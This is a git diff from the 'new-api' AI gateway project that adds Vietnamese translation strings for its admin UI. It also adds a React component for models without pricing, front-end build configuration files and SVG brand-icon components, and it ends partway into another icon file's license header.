+    "配置 Discord OAuth": "Configure Discord OAuth",
+    "配置 GitHub OAuth App": "Cấu hình GitHub OAuth App",
+    "配置 Linux DO OAuth": "Cấu hình Linux DO OAuth",
+    "配置 OIDC": "Cấu hình OIDC",
+    "配置 Passkey": "Cấu hình Passkey",
+    "配置 SMTP": "Cấu hình SMTP",
+    "配置 Telegram 登录": "Cấu hình đăng nhập Telegram",
+    "配置 Turnstile": "Cấu hình Turnstile",
+    "配置 Waffo 充值时可用的支付方式，保存后在充值页面展示给用户。": "",
+    "配置 WeChat Server": "Cấu hình WeChat Server",
+    "配置：": "Cấu hình:",
+    "配置信息": "Thông tin cấu hình",
+    "配置列表": "Danh sách cấu hình",
+    "配置名称": "Tên cấu hình",
+    "配置后的效果：": "After configuration:",
+    "配置和消息已全部重置": "Cấu hình và tin nhắn đã được đặt lại hoàn toàn",
+    "配置套餐的有效时长": "Cấu hình thời lượng hiệu lực của gói",
+    "配置如何从用户信息 API 响应中提取用户数据，支持 JSONPath 语法": "Cấu hình cách trích xuất dữ liệu người dùng từ phản hồi API thông tin người dùng, hỗ trợ cú pháp JSONPath",
+    "配置完成后刷新页面即可使用模型部署功能": "After configuration is complete, refresh the page to use the model deployment feature",
+    "配置导入成功": "Nhập cấu hình thành công",
+    "配置已保存": "Cấu hình đã lưu",
+    "配置已导出到下载文件夹": "Cấu hình đã được xuất vào thư mục tải xuống",
+    "配置已更新": "Cấu hình đã cập nhật",
+    "配置已重置，对话消息已保留": "Cấu hình đã được đặt lại, tin nhắn trò chuyện đã được giữ lại",
+    "配置成功": "Cấu hình thành công",
+    "配置文件同步": "Đồng bộ tệp cấu hình",
+    "配置更新确认": "Configuration Update Confirmation",
+    "配置有效的 io.net API Key": "Configure a valid io.net API Key",
+    "配置服务器端请求伪造(SSRF)防护，用于保护内网资源安全": "Cấu hình bảo vệ giả mạo yêu cầu phía máy chủ (SSRF) để bảo vệ an toàn tài nguyên mạng nội bộ",
+    "配置模型部署服务提供商的API密钥和启用状态": "Configure the API key and enabled status of the model deployment service provider",
+    "配置特殊倍率后：": "After configuring special ratios:",
+    "配置登录注册": "Cấu hình Đăng nhập/Đăng ký",
+    "配置管理": "Quản lý cấu hình",
+    "配置自定义 OAuth 提供商，支持 GitHub Enterprise、GitLab、Gitea、Nextcloud、Keycloak、ORY 等兼容 OAuth 2.0 协议的身份提供商": "Cấu hình nhà cung cấp OAuth tùy chỉnh, hỗ trợ GitHub Enterprise, GitLab, Gitea, Nextcloud, Keycloak, ORY và các nhà cung cấp danh tính tương thích OAuth 2.0 khác",
+    "配置设置": "Cài đặt cấu hình",
+    "配置详情": "Chi tiết cấu hình",
+    "配置说明": "Hướng dẫn cấu hình",
+    "配置邮箱域名白名单": "Cấu hình danh sách trắng tên miền email",
+    "重发": "Gửi lại",
+    "重发验证码": "Gửi lại mã xác minh",
+    "重启部署失败": "Failed to restart deployment",
+    "重命名": "Đổi tên",
+    "重命名部署": "Rename Deployment",
+    "重复提交": "Gửi trùng lặp",
+    "重复的键名": "Tên khóa trùng lặp",
+    "重复的键名，此值将被后面的同名键覆盖": "Tên khóa trùng lặp, giá trị này sẽ bị ghi đè bởi khóa cùng tên phía sau",
+    "重定向": "Chuyển hướng",
+    "重定向 URL": "URL chuyển hướng",
+    "重定向 URL 填": "Điền URL chuyển hướng",
+    "重定向地址": "Địa chỉ chuyển hướng",
+    "重新上传": "",
+    "重新发送": "Gửi lại",
+    "重新生成": "Tạo lại",
+    "重新生成备用码": "Tạo lại mã dự phòng",
+    "重新生成备用码失败": "Tạo lại mã dự phòng thất bại",
+    "重新生成备用码将使现有的备用码失效，请确保您已保存了当前的备用码。": "Tạo lại mã dự phòng sẽ làm vô hiệu hóa các mã dự phòng hiện có. Vui lòng đảm bảo bạn đã lưu các mã dự phòng hiện tại.",
+    "重绘": "Vary",
+    "重置": "Đặt lại",
+    "重置 2FA": "Đặt lại 2FA",
+    "重置 Passkey": "Đặt lại Passkey",
+    "重置为默认": "Đặt lại về mặc định",
+    "重置周期": "Chu kỳ đặt lại",
+    "重置失败": "Đặt lại thất bại",
+    "重置密码": "Đặt lại mật khẩu",
+    "重置密码链接已发送到您的邮箱": "Liên kết đặt lại mật khẩu đã được gửi đến email của bạn",
+    "重置密钥": "Đặt lại khóa",
+    "重置成功": "Đặt lại thành công",
+    "重置所有": "Đặt lại tất cả",
+    "重置数据库": "Đặt lại cơ sở dữ liệu",
+    "重置模型倍率": "Đặt lại tỷ lệ mô hình",
+    "重置用户密码": "Đặt lại mật khẩu người dùng",
+    "重置系统": "Đặt lại hệ thống",
+    "重置统计": "Đặt lại thống kê",
+    "重置设置": "Đặt lại cài đặt",
+    "重置选项": "Đặt lại tùy chọn",
+    "重置邮件发送成功，请检查邮箱！": "Email đặt lại đã được gửi thành công, vui lòng kiểm tra email!",
+    "重置配置": "Đặt lại cấu hình",
+    "重要提醒": "Important Notice",
+    "重试": "Thử lại",
+    "重试建议": "Gợi ý thử lại",
+    "重试连接": "Retry Connection",
+    "金额": "Số tiền",
+    "钱包": "Ví",
+    "钱包管理": "Quản lý ví",
+    "链接": "Liên kết",
+    "链接中的{key}将自动替换为sk-xxxx，{address}将自动替换为系统设置的服务器地址，末尾不带/和/v1": "{key} trong liên kết sẽ tự động được thay thế bằng sk-xxxx, {address} sẽ tự động được thay thế bằng địa chỉ máy chủ trong cài đặt hệ thống, không có / và /v1 ở cuối",
+    "链接地址": "Địa chỉ liên kết",
+    "销售": "Bán hàng",
+    "销毁容器": "Destroy Container",
+    "销毁容器失败": "Failed to destroy container",
+    "锁定": "Khóa",
+    "错误": "Lỗi",
+    "错误代码（可选）": "Mã lỗi (tùy chọn)",
+    "错误信息": "Thông tin lỗi",
+    "错误日志": "Nhật ký lỗi",
+    "错误消息（必填）": "Thông báo lỗi (bắt buộc)",
+    "错误码": "Mã lỗi",
+    "错误类型（可选）": "Loại lỗi (tùy chọn)",
+    "错误详情": "Chi tiết lỗi",
+    "键为分组名称，值为另一个 JSON 对象，键为分组名称，值为该分组的用户的特殊分组倍率，例如：{\"vip\": {\"default\": 0.5, \"test\": 1}}，表示 vip 分组的用户在使用default分组的令牌时倍率为0.5，使用test分组时倍率为1": "Khóa là tên nhóm và giá trị là một đối tượng JSON khác. Khóa là tên nhóm và giá trị là tỷ lệ nhóm đặc biệt cho người dùng trong nhóm đó. Ví dụ: {\"vip\": {\"default\": 0.5, \"test\": 1}} có nghĩa là người dùng trong nhóm vip có tỷ lệ 0.5 khi sử dụng mã thông báo từ nhóm default và tỷ lệ 1 khi sử dụng mã thông báo từ nhóm test.",
+    "键为原状态码，值为要复写的状态码，仅影响本地判断": "Khóa là mã trạng thái gốc và giá trị là mã trạng thái cần ghi đè, chỉ ảnh hưởng đến phán đoán cục bộ",
+    "键为用户分组名称，值为操作映射对象。内层键以\"+:\"开头表示添加指定分组（键值为分组名称，值为描述），以\"-:\"开头表示移除指定分组（键值为分组名称），不带前缀的键直接添加该分组。例如：{\"vip\": {\"+:premium\": \"高级分组\", \"special\": \"特殊分组\", \"-:default\": \"默认分组\"}}，表示 vip 分组的用户可以使用 premium 和 special 分组，同时移除 default 分组的访问权限": "Keys are user group names and values are operation mappings. Inner keys prefixed with \"+:\" add the specified group (key is the group name, value is the description); keys prefixed with \"-:\" remove the specified group; keys without a prefix add that group directly. Example: {\"vip\": {\"+:premium\": \"Advanced group\", \"special\": \"Special group\", \"-:default\": \"Default group\"}} means vip users can access the premium and special groups while removing access to the default group.",
+    "键为端点类型，值为路径和方法对象": "Khóa là loại điểm cuối, giá trị là đối tượng đường dẫn và phương thức",
+    "键为请求中的模型名称，值为要替换的模型名称": "Khóa là tên mô hình trong yêu cầu, giá trị là tên mô hình cần thay thế",
+    "键名": "Tên khóa",
+    "键的前缀 +: 表示添加，-: 表示移除，无前缀表示追加。值为分组描述（移除时填 \"remove\"）。": "Key prefix +: means add, -: means remove, no prefix means append. Value is the group description (use \"remove\" for removal).",
+    "镜像": "Gương",
+    "镜像仓库密码": "Image Registry Password",
+    "镜像仓库用户名": "Image Registry Username",
+    "镜像仓库配置": "Image Registry Configuration",
+    "镜像地址": "Image Address",
+    "镜像站": "Trang web gương",
+    "镜像选择": "Image Selection",
+    "镜像配置": "Image Configuration",
+    "长度": "Độ dài",
+    "长按": "Nhấn và giữ",
+    "门槛": "Ngưỡng",
+    "闪购": "Flash Sale",
+    "问题标题": "Tiêu đề câu hỏi",
+    "阅读": "Đọc",
+    "阅读更多": "Đọc thêm",
+    "队列中": "Trong hàng đợi",
+    "附加条件": "Điều kiện bổ sung",
+    "降低您账户的安全性": "Giảm bảo mật tài khoản của bạn",
+    "降级": "Hạ cấp",
+    "限制周期": "Chu kỳ giới hạn",
+    "限制周期统一使用上方配置的“限制周期”值。": "Chu kỳ giới hạn sử dụng thống nhất giá trị \"Chu kỳ giới hạn\" được cấu hình ở trên.",
+    "限流": "Giới hạn tốc độ",
+    "限购": "Giới hạn mua",
+    "隐私政策": "Chính sách bảo mật",
+    "隐私政策已更新": "Chính sách bảo mật đã được cập nhật",
+    "隐私政策更新失败": "Cập nhật chính sách bảo mật thất bại",
+    "隐私设置": "Cài đặt quyền riêng tư",
+    "隐藏操作项": "Ẩn hành động",
+    "隐藏调试": "Ẩn gỡ lỗi",
+    "随机": "Ngẫu nhiên",
+    "随机模式": "Chế độ ngẫu nhiên",
+    "随机种子 (留空为随机)": "Hạt giống ngẫu nhiên (để trống cho ngẫu nhiên)",
+    "零一万物": "01.AI",
+    "需要安全验证": "Yêu cầu xác minh bảo mật",
+    "需要添加的额度（支持负数）": "Hạn ngạch cần thêm (hỗ trợ số âm)",
+    "需要登录访问": "Yêu cầu đăng nhập",
+    "需要配置的项目": "Items to Configure",
+    "需要重新完整设置才能再次启用": "Cần thiết lập lại hoàn toàn để bật lại",
+    "非必要，不建议启用模型限制": "Không cần thiết, không nên bật giới hạn mô hình",
+    "非流": "không luồng",
+    "音乐预览": "Xem trước nhạc",
+    "音频倍率 {{audioRatio}}": "Hệ số âm thanh {{audioRatio}}",
+    "音频倍率（仅部分模型支持该计费）": "Tỷ lệ âm thanh (chỉ được hỗ trợ bởi một số mô hình để tính phí)",
+    "音频提示 {{input}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + 音频补全 {{completion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} = {{symbol}}{{total}}": "Gợi ý âm thanh {{input}} tokens / 1M tokens * {{symbol}}{{audioInputPrice}} + Hoàn thành âm thanh {{completion}} tokens / 1M tokens * {{symbol}}{{audioCompPrice}} = {{symbol}}{{total}}",
+    "音频提示价格：{{symbol}}{{price}} * {{audioRatio}} = {{symbol}}{{total}} / 1M tokens (音频倍率: {{audioRatio}})": "Giá gợi ý âm thanh: {{symbol}}{{price}} * {{audioRatio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ âm thanh: {{audioRatio}})",
+    "音频无法播放": "Không thể phát âm thanh",
+    "音频补全价格": "Giá hoàn thành âm thanh",
+    "音频补全价格：{{symbol}}{{price}} * {{audioRatio}} * {{audioCompRatio}} = {{symbol}}{{total}} / 1M tokens (音频补全倍率: {{audioCompRatio}})": "Giá hoàn thành âm thanh: {{symbol}}{{price}} * {{audioRatio}} * {{audioCompRatio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ hoàn thành âm thanh: {{audioCompRatio}})",
+    "音频补全价格：{{symbol}}{{price}} / 1M tokens": "Giá hoàn thành âm thanh: {{symbol}}{{price}} / 1M tokens",
+    "音频补全倍率": "",
+    "音频补全倍率（仅部分模型支持该计费）": "Tỷ lệ hoàn thành âm thanh (chỉ được hỗ trợ bởi một số mô hình để tính phí)",
+    "音频输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 音频倍率 {{audioRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu vào âm thanh: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số âm thanh {{audioRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "音频输入价格": "Giá đầu vào âm thanh",
+    "音频输入价格：{{symbol}}{{price}} / 1M tokens": "Giá đầu vào âm thanh: {{symbol}}{{price}} / 1M tokens",
+    "音频输入倍率": "",
+    "音频输入相关的倍率设置，键为模型名称，值为倍率": "Cài đặt tỷ lệ liên quan đến đầu vào âm thanh, khóa là tên mô hình, giá trị là tỷ lệ",
+    "音频输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 音频倍率 {{audioRatio}} * 音频补全倍率 {{audioCompletionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu ra âm thanh: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số âm thanh {{audioRatio}} * hệ số hoàn thành âm thanh {{audioCompletionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "音频输出补全相关的倍率设置，键为模型名称，值为倍率": "Cài đặt tỷ lệ liên quan đến hoàn thành đầu ra âm thanh, khóa là tên mô hình, giá trị là tỷ lệ",
+    "页脚": "Chân trang",
+    "页面未找到，请检查您的浏览器地址是否正确": "Không tìm thấy trang, vui lòng kiểm tra xem địa chỉ trình duyệt của bạn có chính xác không",
+    "页面渲染出错，请刷新页面重试": "Đã xảy ra lỗi khi hiển thị trang. Vui lòng tải lại trang và thử lại.",
+    "顶栏管理": "Quản lý thanh tiêu đề",
+    "项": "mục",
+    "项目": "Dự án",
+    "项目内容": "Nội dung dự án",
+    "项目操作按钮组": "Nhóm nút hành động dự án",
+    "预估总费用": "Estimated Total Cost",
+    "预估费用仅供参考，实际费用可能略有差异": "Estimated cost is for reference only, actual cost may vary slightly",
+    "预填组管理": "Quản lý nhóm điền sẵn",
+    "预扣": "Khấu trừ trước",
+    "预览失败": "Xem trước thất bại",
+    "预览效果": "Xem trước",
+    "预览更新": "Xem trước cập nhật",
+    "预览模板": "Xem trước mẫu",
+    "预览请求体": "Xem trước thân yêu cầu",
+    "预计结束": "Estimated End",
+    "预计结果": "Kết quả dự kiến",
+    "预设模板": "Mẫu đặt trước",
+    "预警阈值必须为正数": "Ngưỡng cảnh báo phải là số dương",
+    "频率惩罚，减少重复词汇的出现": "Phạt tần suất, giảm sự lặp lại của từ",
+    "频率限制的周期（分钟）": "Chu kỳ giới hạn tần suất (phút)",
+    "颜色": "Màu sắc",
+    "额外价格项": "Mục giá bổ sung",
+    "额外设置": "Cài đặt bổ sung",
+    "额度": "Hạn ngạch",
+    "额度充值": "Nạp hạn mức",
+    "额度展示类型": "Loại hiển thị hạn mức",
+    "额度必须大于0": "Hạn ngạch phải lớn hơn 0",
+    "额度提醒阈值": "Ngưỡng nhắc nhở hạn ngạch",
+    "额度查询接口返回令牌额度而非用户额度": "Giao diện truy vấn hạn ngạch trả về hạn ngạch mã thông báo thay vì hạn ngạch người dùng",
+    "额度设置": "Cài đặt hạn ngạch",
+    "额度重置": "Đặt lại hạn mức",
+    "额度预警阈值": "Ngưỡng cảnh báo hạn ngạch",
+    "首尾生视频": "Video tạo đầu-đuôi",
+    "首页": "Trang chủ",
+    "首页内容": "Nội dung trang chủ",
+    "验证": "Xác minh",
+    "验证 Passkey": "Xác minh Passkey",
+    "验证失败，请重试": "Xác minh thất bại, vui lòng thử lại",
+    "验证成功": "Xác minh thành công",
+    "验证数据库连接状态": "Xác minh trạng thái kết nối cơ sở dữ liệu",
+    "验证码": "Mã xác minh",
+    "验证码发送成功，请检查邮箱！": "Mã xác minh đã được gửi thành công, vui lòng kiểm tra email!",
+    "验证设置": "Cài đặt xác minh",
+    "验证身份": "Xác minh danh tính",
+    "验证配置错误": "Lỗi cấu hình xác minh",
+    "高级": "Nâng cao",
+    "高级套餐，半价优惠": "Premium plan, 50% off",
+    "高级文本编辑": "Chỉnh sửa văn bản nâng cao",
+    "高级设置": "Cài đặt nâng cao",
+    "高级选项": "Tùy chọn nâng cao",
+    "高级配置": "Advanced Configuration",
+    "黑名单": "Danh sách đen",
+    "默认": "Mặc định",
+    "默认 API 版本": "Phiên bản API mặc định",
+    "默认 Responses API 版本，为空则使用上方版本": "Phiên bản Responses API mặc định, nếu để trống sẽ sử dụng phiên bản ở trên",
+    "默认 TTL（秒）": "TTL mặc định (giây)",
+    "默认为 5m 缓存创建倍率；1h 缓存创建倍率按固定乘法自动计算（当前为 1.6x）": "Mặc định dùng tỷ lệ tạo bộ nhớ đệm 5m; tỷ lệ tạo bộ nhớ đệm 1h được tự động tính bằng phép nhân cố định (hiện là 1.6x)",
+    "默认使用auto分组": "Default to auto group",
+    "默认使用系统名称": "Mặc định sử dụng tên hệ thống",
+    "默认助手消息": "Xin chào! Tôi có thể giúp gì cho bạn?",
+    "默认区域": "Khu vực mặc định",
+    "默认区域，如: us-central1": "Khu vực mặc định, ví dụ: us-central1",
+    "默认情况下，所有用户创建令牌时看到的可选分组列表是一样的（即「用户可选」列勾选的分组）。": "By default, all users see the same selectable group list when creating tokens (i.e., groups with \"User Selectable\" checked).",
+    "默认折叠侧边栏": "Mặc định thu gọn thanh bên",
+    "默认测试模型": "Mô hình kiểm tra mặc định",
+    "默认用户消息": "Xin chào",
+    "默认补全倍率": "Tỷ lệ hoàn thành mặc định"
+  }
+}
diff --git a/new-api/web/classic/src/pages/Setting/Ratio/ModelRationNotSetEditor.jsx b/new-api/web/classic/src/pages/Setting/Ratio/ModelRationNotSetEditor.jsx
new file mode 100644
index 0000000..3a856bf
--- /dev/null
+++ b/new-api/web/classic/src/pages/Setting/Ratio/ModelRationNotSetEditor.jsx
@@ -0,0 +1,64 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState } from 'react';
+import { API, showError } from '../../../helpers';
+import { useTranslation } from 'react-i18next';
+import ModelPricingEditor from './components/ModelPricingEditor';
+
+export default function ModelRatioNotSetEditor(props) {
+  const { t } = useTranslation();
+  const [enabledModels, setEnabledModels] = useState([]);
+
+  const getAllEnabledModels = async () => {
+    try {
+      const res = await API.get('/api/channel/models_enabled');
+      const { success, message, data } = res.data;
+      if (success) {
+        setEnabledModels(data);
+      } else {
+        showError(message);
+      }
+    } catch (error) {
+      console.error(t('获取启用模型失败:'), error);
+      showError(t('获取启用模型失败'));
+    }
+  };
+
+  useEffect(() => {
+    // 获取所有启用的模型
+    getAllEnabledModels();
+  }, []);
+  return (
+    <ModelPricingEditor
+      options={props.options}
+      refresh={props.refresh}
+      candidateModelNames={enabledModels}
+      filterMode='unset'
+      allowAddModel={false}
+      allowDeleteModel={false}
+      showConflictFilter={false}
+      listDescription={t(
+        '此页面仅显示未设置价格或基础倍率的模型，设置后会自动从列表中移出',
+      )}
+      emptyTitle={t('没有未设置定价的模型')}
+      emptyDescription={t('当前没有未设置定价的模型')}
+    />
+  );
+}
diff --git a/new-api/web/default/components.json b/new-api/web/default/components.json
new file mode 100644
index 0000000..5e6b520
--- /dev/null
+++ b/new-api/web/default/components.json
@@ -0,0 +1,26 @@
+{
+  "$schema": "https://ui.shadcn.com/schema.json",
+  "style": "radix-nova",
+  "rsc": false,
+  "tsx": true,
+  "tailwind": {
+    "config": "",
+    "css": "src/styles/index.css",
+    "baseColor": "neutral",
+    "cssVariables": true,
+    "prefix": ""
+  },
+  "iconLibrary": "hugeicons",
+  "aliases": {
+    "components": "@/components",
+    "utils": "@/lib/utils",
+    "ui": "@/components/ui",
+    "lib": "@/lib",
+    "hooks": "@/hooks"
+  },
+  "menuColor": "inverted",
+  "menuAccent": "subtle",
+  "registries": {
+    "@ai-elements": "https://registry.ai-sdk.dev/{name}.json"
+  }
+}
diff --git a/new-api/web/default/postcss.config.mjs b/new-api/web/default/postcss.config.mjs
new file mode 100644
index 0000000..a7f73a2
--- /dev/null
+++ b/new-api/web/default/postcss.config.mjs
@@ -0,0 +1,5 @@
+export default {
+  plugins: {
+    '@tailwindcss/postcss': {},
+  },
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-discord.tsx b/new-api/web/default/src/assets/brand-icons/icon-discord.tsx
new file mode 100644
index 0000000..2e67460
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-discord.tsx
@@ -0,0 +1,28 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconDiscord({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Discord</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M8 12a1 1 0 1 0 2 0a1 1 0 0 0 -2 0' />
+      <path d='M14 12a1 1 0 1 0 2 0a1 1 0 0 0 -2 0' />
+      <path d='M15.5 17c0 1 1.5 3 2 3c1.5 0 2.833 -1.667 3.5 -3c.667 -1.667 .5 -5.833 -1.5 -11.5c-1.457 -1.015 -3 -1.34 -4.5 -1.5l-.972 1.923a11.913 11.913 0 0 0 -4.053 0l-.975 -1.923c-1.5 .16 -3.043 .485 -4.5 1.5c-2 5.667 -2.167 9.833 -1.5 11.5c.667 1.333 2 3 3.5 3c.5 0 2 -2 2 -3' />
+      <path d='M7 16.5c3.5 1 6.5 1 10 0' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-docker.tsx b/new-api/web/default/src/assets/brand-icons/icon-docker.tsx
new file mode 100644
index 0000000..176ae3f
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-docker.tsx
@@ -0,0 +1,33 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconDocker({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Docker</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M22 12.54c-1.804 -.345 -2.701 -1.08 -3.523 -2.94c-.487 .696 -1.102 1.568 -.92 2.4c.028 .238 -.32 1 -.557 1h-14c0 5.208 3.164 7 6.196 7c4.124 .022 7.828 -1.376 9.854 -5c1.146 -.101 2.296 -1.505 2.95 -2.46z' />
+      <path d='M5 10h3v3h-3z' />
+      <path d='M8 10h3v3h-3z' />
+      <path d='M11 10h3v3h-3z' />
+      <path d='M8 7h3v3h-3z' />
+      <path d='M11 7h3v3h-3z' />
+      <path d='M11 4h3v3h-3z' />
+      <path d='M4.571 18c1.5 0 2.047 -.074 2.958 -.78' />
+      <path d='M10 16l0 .01' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-facebook.tsx b/new-api/web/default/src/assets/brand-icons/icon-facebook.tsx
new file mode 100644
index 0000000..edb1c47
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-facebook.tsx
@@ -0,0 +1,25 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconFacebook({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Facebook</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M7 10v4h3v7h4v-7h3l1 -4h-4v-2a1 1 0 0 1 1 -1h3v-4h-3a5 5 0 0 0 -5 5v2h-3' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-figma.tsx b/new-api/web/default/src/assets/brand-icons/icon-figma.tsx
new file mode 100644
index 0000000..9e73cd3
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-figma.tsx
@@ -0,0 +1,27 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconFigma({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Figma</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M15 12m-3 0a3 3 0 1 0 6 0a3 3 0 1 0 -6 0' />
+      <path d='M6 3m0 3a3 3 0 0 1 3 -3h6a3 3 0 0 1 3 3v0a3 3 0 0 1 -3 3h-6a3 3 0 0 1 -3 -3z' />
+      <path d='M9 9a3 3 0 0 0 0 6h3m-3 0a3 3 0 1 0 3 3v-15' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-github.tsx b/new-api/web/default/src/assets/brand-icons/icon-github.tsx
new file mode 100644
index 0000000..b478aa8
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-github.tsx
@@ -0,0 +1,25 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconGithub({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>GitHub</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M9 19c-4.3 1.4 -4.3 -2.5 -6 -3m12 5v-3.5c0 -1 .1 -1.4 -.5 -2c2.8 -.3 5.5 -1.4 5.5 -6a4.6 4.6 0 0 0 -1.3 -3.2a4.2 4.2 0 0 0 -.1 -3.2s-1.1 -.3 -3.5 1.3a12.3 12.3 0 0 0 -6.2 0c-2.4 -1.6 -3.5 -1.3 -3.5 -1.3a4.2 4.2 0 0 0 -.1 3.2a4.6 4.6 0 0 0 -1.3 3.2c0 4.6 2.7 5.7 5.5 6c-.6 .6 -.6 1.2 -.5 2v3.5' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-gitlab.tsx b/new-api/web/default/src/assets/brand-icons/icon-gitlab.tsx
new file mode 100644
index 0000000..6d5aa2f
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-gitlab.tsx
@@ -0,0 +1,25 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconGitlab({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>GitLab</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M21 14l-9 7l-9 -7l3 -11l3 7h6l3 -7z' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-gmail.tsx b/new-api/web/default/src/assets/brand-icons/icon-gmail.tsx
new file mode 100644
index 0000000..e9e2f3a
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-gmail.tsx
@@ -0,0 +1,28 @@
+import { type SVGProps } from 'react'
+import { cn } from '@/lib/utils'
+
+export function IconGmail({ className, ...props }: SVGProps<SVGSVGElement>) {
+  return (
+    <svg
+      role='img'
+      viewBox='0 0 24 24'
+      xmlns='http://www.w3.org/2000/svg'
+      width='24'
+      height='24'
+      className={cn('[&>path]:stroke-current', className)}
+      fill='none'
+      stroke='currentColor'
+      strokeWidth='2'
+      strokeLinecap='round'
+      strokeLinejoin='round'
+      {...props}
+    >
+      <title>Gmail</title>
+      <path strokeWidth='0' d='M0 0h24v24H0z' fill='none' />
+      <path d='M16 20h3a1 1 0 0 0 1 -1v-14a1 1 0 0 0 -1 -1h-3v16z' />
+      <path d='M5 20h3v-16h-3a1 1 0 0 0 -1 1v14a1 1 0 0 0 1 1z' />
+      <path d='M16 4l-4 4l-4 -4' />
+      <path d='M4 6.5l8 7.5l8 -7.5' />
+    </svg>
+  )
+}
diff --git a/new-api/web/default/src/assets/brand-icons/icon-linuxdo.tsx b/new-api/web/default/src/assets/brand-icons/icon-linuxdo.tsx
new file mode 100644
index 0000000..eb7a2a9
--- /dev/null
+++ b/new-api/web/default/src/assets/brand-icons/icon-linuxdo.tsx
@@ -0,0 +1,50 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
